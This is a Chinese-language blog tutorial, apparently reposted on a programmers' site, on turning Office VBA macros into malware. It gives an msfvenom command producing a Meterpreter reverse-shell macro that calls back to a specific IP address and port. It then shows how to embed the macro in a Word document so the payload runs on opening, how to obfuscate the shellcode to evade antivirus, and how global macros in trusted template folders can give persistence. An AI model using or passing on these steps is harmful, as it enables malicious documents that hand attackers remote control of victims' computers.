office宏

栏目: ASP.NET · 发布时间: 5年前

内容简介:office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OL

0x00 宏 - Macro

office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件。也可说是一种应用程式视觉化的Basic 脚本。该语言于1993年由微软公司开发的的应用程序共享一种通用的自动化语言-Visual Basic for Application(VBA),实际上VBA是寄生于VB应用程序的版本。

0x01 生成宏

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=71.19.144.69 LPORT=8899 -f vba -o try.vba

使用msf就可以生成宏代码,接下来只要放入word或者excel、ppt即可。

0x02 创建宏

新建一个文档,另存为“启用宏的Word文档”:

office宏

视图-查看宏:

office宏

随便输入一个宏名称,点击“创建”:

office宏

此时进入宏编辑器:

office宏

将msf生成的payload放入:

office宏

保存文件,关闭,再打开即可执行宏代码。

0x03 宏代码分析

msf生成默认的vba会导入三个api函数,常见的shellcode加载器代码:

office宏

  • CreateThread 创建线程
  • VirtualAlloc 申请虚拟内存空间
  • RtlMoveMemory 拷贝内存
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);
LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
VOID RtlMoveMemory(
  VOID * Destination,
  VOID * Source,
  DWORD Length
);

其中 Array(72,131,228,240,232,... 就是shellcode,混淆的办法有很多种。

shellcode可以自己在VBA里解码或者比如每个元素自增1,运行的时候-1,达到免杀…

0x04 效果

在线地址: https://www.bilibili.com/video/av52532639/

0x05 拓展分析

如果创建的是全局宏,Office会在这个目录生成一个dotm文档:

C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Templates

office宏

全局宏是对于当前计算机所有文档对象有效,即文档本身不包含宏代码,也可以运行全局宏。

office宏

很遗憾,全局宏没有一个固定的名称,也就是说要先通过Office创建一个全局宏,然后其他文档打开时才可以执行代码。

office宏

经过测试,这个全局宏中的文件: vbaProject.bin 是包含了特征的文件,但是反病毒软件不会扫描这个文件,除非主动查杀。

这个特性可能可以达到维持权限的作用。

后来才发现我使用的还是全局宏达到的免杀

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\Trusted Locations

同过PorcessMonitor分析,从注册表找到几个授信目录:

  • %APPDATA%\Microsoft\Templates
  • C:\Program Files\Microsoft Office\Root\Templates\
  • %APPDATA%\Microsoft\Addins
  • C:\Program Files\Microsoft Office\Root\Document Themes 16\

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

马云现象的经济学分析:互联网经济的八个关键命题

马云现象的经济学分析:互联网经济的八个关键命题

胡晓鹏 / 上海社会科学院出版社 / 2016-11-1 / CNY 68.00

互联网经济的产生、发展与扩张,在冲击传统经济理论观点的同时,也彰显了自身理论体系的独特内核,并与那种立足于工业经济时代的经典理论发生显著分野。今天看来,“马云”们的成功是中国经济长期“重制造、轻服务,重产能、轻消费,重国有、轻民营”发展逻辑的结果。但互联网经济的发展却不应仅仅止步于商业技巧的翻新,还需要在理论上进行一番审慎的思考。对此,我们不禁要问:互联网经济驱动交易发生的机理是什么?用户基数和诚......一起来看看 《马云现象的经济学分析:互联网经济的八个关键命题》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具